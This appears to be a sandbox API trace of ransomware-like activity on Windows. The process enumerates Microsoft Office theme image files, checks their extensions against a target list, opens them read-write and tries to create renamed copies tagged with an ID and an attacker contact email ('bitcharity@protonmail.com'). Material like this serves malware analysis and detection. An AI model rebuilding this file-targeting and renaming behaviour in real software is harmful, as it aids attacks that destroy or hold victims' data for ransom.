[0274.990] CloseHandle (hObject=0x1154) returned 1 [0274.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sonora\\thmbnail.png")) returned 0x220 [0274.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\THMBNAIL.PNG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sonora\\thmbnail.png.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0274.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sonora\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1154 [0274.990] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.991] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\THMBNAIL.PNG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sonora\\thmbnail.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.991] CloseHandle (hObject=0x1154) returned 1 [0274.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\THMBNAIL.PNG") returned 110 [0274.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\THMBNAIL.PNG") returned 110 [0274.991] lstrlenW (lpString=".doc") returned 4 [0274.991] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0274.991] lstrlenW (lpString=".docx") returned 5 [0274.991] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0274.991] lstrlenW (lpString=".pdf") returned 4 [0274.991] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0274.991] lstrlenW (lpString=".xls") returned 4 [0274.991] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0274.991] lstrlenW (lpString=".xlsx") returned 5 [0274.991] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0274.991] lstrlenW (lpString=".ppt") returned 4 [0274.991] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0274.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\THMBNAIL.PNG") returned 110 [0274.992] lstrlenW (lpString=".zip") returned 4 [0274.992] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0274.992] lstrlenW (lpString=".rar") returned 4 [0274.992] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0274.992] lstrlenW (lpString=".bz2") returned 4 [0274.992] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0274.992] lstrlenW (lpString=".7z") returned 3 [0274.992] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0274.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\THMBNAIL.PNG") returned 110 [0274.992] lstrlenW (lpString=".dbf") returned 4 [0274.992] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0274.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\THMBNAIL.PNG") returned 110 [0274.992] lstrlenW (lpString=".1cd") returned 4 [0274.992] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0274.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\THMBNAIL.PNG") returned 110 [0274.992] lstrlenW (lpString=".jpg") returned 4 [0274.992] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0274.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\THMBNAIL.PNG") returned 110 [0274.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\THMBNAIL.PNG") returned 110 [0274.992] lstrlenW (lpString=".doc") returned 4 [0274.992] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0274.992] lstrlenW (lpString=".docx") returned 5 [0274.992] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0274.992] lstrlenW (lpString=".pdf") returned 4 [0274.992] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0274.992] lstrlenW (lpString=".xls") returned 4 [0274.993] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0274.993] lstrlenW (lpString=".xlsx") returned 5 [0274.993] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0274.993] lstrlenW (lpString=".ppt") returned 4 [0274.993] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0274.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\THMBNAIL.PNG") returned 110 [0274.993] lstrlenW (lpString=".zip") returned 4 [0274.993] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0274.993] lstrlenW (lpString=".rar") returned 4 [0274.993] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0274.993] lstrlenW (lpString=".bz2") returned 4 [0274.993] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0274.993] lstrlenW (lpString=".7z") returned 3 [0274.993] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0274.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\THMBNAIL.PNG") returned 110 [0274.993] lstrlenW (lpString=".dbf") returned 4 [0274.993] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0274.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\THMBNAIL.PNG") returned 110 [0274.993] lstrlenW (lpString=".1cd") returned 4 [0274.993] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0274.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\THMBNAIL.PNG") returned 110 [0274.993] lstrlenW (lpString=".jpg") returned 4 [0274.993] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0274.993] lstrcmpiW (lpString1=".GIF", lpString2=".com") returned 1 [0274.994] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0274.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\spring\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1154 [0274.994] GetFileSizeEx (in: hFile=0x1154, lpFileSize=0x28dff14 | out: lpFileSize=0x28dff14*=2527) returned 1 [0274.994] CloseHandle (hObject=0x1154) returned 1 [0274.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\spring\\preview.gif")) returned 0x220 [0274.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\PREVIEW.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\spring\\preview.gif.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0274.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\spring\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1154 [0274.995] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.995] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\PREVIEW.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\spring\\preview.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.995] CloseHandle (hObject=0x1154) returned 1 [0274.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\PREVIEW.GIF") returned 109 [0274.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\PREVIEW.GIF") returned 109 [0274.995] lstrlenW (lpString=".doc") returned 4 [0274.995] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0274.995] lstrlenW (lpString=".docx") returned 5 [0274.995] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0274.995] lstrlenW (lpString=".pdf") returned 4 [0274.995] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0274.996] lstrlenW (lpString=".xls") returned 4 [0274.996] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0274.996] lstrlenW (lpString=".xlsx") returned 5 [0274.996] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0274.996] lstrlenW (lpString=".ppt") returned 4 [0274.996] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0274.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\PREVIEW.GIF") returned 109 [0274.996] lstrlenW (lpString=".zip") returned 4 [0274.996] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0274.996] lstrlenW (lpString=".rar") returned 4 [0274.996] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0274.996] lstrlenW (lpString=".bz2") returned 4 [0274.996] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0274.996] lstrlenW (lpString=".7z") returned 3 [0274.996] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0274.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\PREVIEW.GIF") returned 109 [0274.996] lstrlenW (lpString=".dbf") returned 4 [0274.996] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0274.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\PREVIEW.GIF") returned 109 [0274.996] lstrlenW (lpString=".1cd") returned 4 [0274.996] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0274.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\PREVIEW.GIF") returned 109 [0274.996] lstrlenW (lpString=".jpg") returned 4 [0274.996] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0274.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\PREVIEW.GIF") returned 109 [0274.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\PREVIEW.GIF") returned 109 [0274.996] lstrlenW (lpString=".doc") returned 4 [0274.997] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0274.997] lstrlenW (lpString=".docx") returned 5 [0274.997] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0274.997] lstrlenW (lpString=".pdf") returned 4 [0274.997] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0274.997] lstrlenW (lpString=".xls") returned 4 [0274.997] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0274.997] lstrlenW (lpString=".xlsx") returned 5 [0274.997] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0274.997] lstrlenW (lpString=".ppt") returned 4 [0274.997] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0274.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\PREVIEW.GIF") returned 109 [0274.997] lstrlenW (lpString=".zip") returned 4 [0274.997] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0274.997] lstrlenW (lpString=".rar") returned 4 [0274.997] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0274.997] lstrlenW (lpString=".bz2") returned 4 [0274.997] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0274.997] lstrlenW (lpString=".7z") returned 3 [0274.997] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0274.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\PREVIEW.GIF") returned 109 [0274.997] lstrlenW (lpString=".dbf") returned 4 [0274.997] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0274.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\PREVIEW.GIF") returned 109 [0274.997] lstrlenW (lpString=".1cd") returned 4 [0274.997] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0274.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\PREVIEW.GIF") returned 109 [0274.997] lstrlenW (lpString=".jpg") returned 4 [0274.997] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0274.998] lstrcmpiW (lpString1=".PNG", lpString2=".com") returned 1 [0274.998] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0274.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\spring\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1154 [0274.998] GetFileSizeEx (in: hFile=0x1154, lpFileSize=0x28dff14 | out: lpFileSize=0x28dff14*=19525) returned 1 [0274.998] CloseHandle (hObject=0x1154) returned 1 [0274.998] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\spring\\thmbnail.png")) returned 0x220 [0274.998] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\THMBNAIL.PNG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\spring\\thmbnail.png.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0274.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\spring\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1154 [0274.999] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.999] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\THMBNAIL.PNG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\spring\\thmbnail.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.999] CloseHandle (hObject=0x1154) returned 1 [0274.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\THMBNAIL.PNG") returned 110 [0274.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\THMBNAIL.PNG") returned 110 [0274.999] lstrlenW (lpString=".doc") returned 4 [0274.999] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0274.999] lstrlenW (lpString=".docx") returned 5 [0275.000] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0275.000] lstrlenW (lpString=".pdf") returned 4 [0275.000] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0275.000] lstrlenW (lpString=".xls") returned 4 [0275.000] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0275.000] lstrlenW (lpString=".xlsx") returned 5 [0275.000] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0275.000] lstrlenW (lpString=".ppt") returned 4 [0275.000] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0275.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\THMBNAIL.PNG") returned 110 [0275.000] lstrlenW (lpString=".zip") returned 4 [0275.000] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0275.000] lstrlenW (lpString=".rar") returned 4 [0275.000] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0275.000] lstrlenW (lpString=".bz2") returned 4 [0275.000] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0275.000] lstrlenW (lpString=".7z") returned 3 [0275.000] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0275.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\THMBNAIL.PNG") returned 110 [0275.000] lstrlenW (lpString=".dbf") returned 4 [0275.000] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0275.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\THMBNAIL.PNG") returned 110 [0275.000] lstrlenW (lpString=".1cd") returned 4 [0275.000] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0275.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\THMBNAIL.PNG") returned 110 [0275.000] lstrlenW (lpString=".jpg") returned 4 [0275.000] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0275.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\THMBNAIL.PNG") returned 110 [0275.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\THMBNAIL.PNG") returned 110 [0275.000] lstrlenW (lpString=".doc") returned 4 [0275.000] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0275.000] lstrlenW (lpString=".docx") returned 5 [0275.000] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0275.000] lstrlenW (lpString=".pdf") returned 4 [0275.000] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0275.001] lstrlenW (lpString=".xls") returned 4 [0275.001] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0275.001] lstrlenW (lpString=".xlsx") returned 5 [0275.001] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0275.001] lstrlenW (lpString=".ppt") returned 4 [0275.001] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0275.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\THMBNAIL.PNG") returned 110 [0275.001] lstrlenW (lpString=".zip") returned 4 [0275.001] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0275.001] lstrlenW (lpString=".rar") returned 4 [0275.001] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0275.001] lstrlenW (lpString=".bz2") returned 4 [0275.001] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0275.001] lstrlenW (lpString=".7z") returned 3 [0275.001] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0275.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\THMBNAIL.PNG") returned 110 [0275.001] lstrlenW (lpString=".dbf") returned 4 [0275.001] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0275.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\THMBNAIL.PNG") returned 110 [0275.001] lstrlenW (lpString=".1cd") returned 4 [0275.001] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0275.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\THMBNAIL.PNG") returned 110 [0275.001] lstrlenW (lpString=".jpg") returned 4 [0275.001] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0275.001] lstrcmpiW (lpString1=".GIF", lpString2=".com") returned 1 [0275.001] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0275.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\strtedge\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1258 [0275.198] GetFileSizeEx (in: hFile=0x1258, lpFileSize=0x28dff14 | out: lpFileSize=0x28dff14*=1737) returned 1 [0275.198] CloseHandle (hObject=0x1258) returned 1 [0275.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\strtedge\\preview.gif")) returned 0x220 [0275.346] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\PREVIEW.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\strtedge\\preview.gif.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0275.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\strtedge\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1278 [0275.715] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.715] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\PREVIEW.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\strtedge\\preview.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.715] CloseHandle (hObject=0x1278) returned 1 [0275.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\PREVIEW.GIF") returned 111 [0275.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\PREVIEW.GIF") returned 111 [0275.716] lstrlenW (lpString=".doc") returned 4 [0275.716] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0275.716] lstrlenW (lpString=".docx") returned 5 [0275.716] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0275.716] lstrlenW (lpString=".pdf") returned 4 [0275.716] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0275.716] lstrlenW 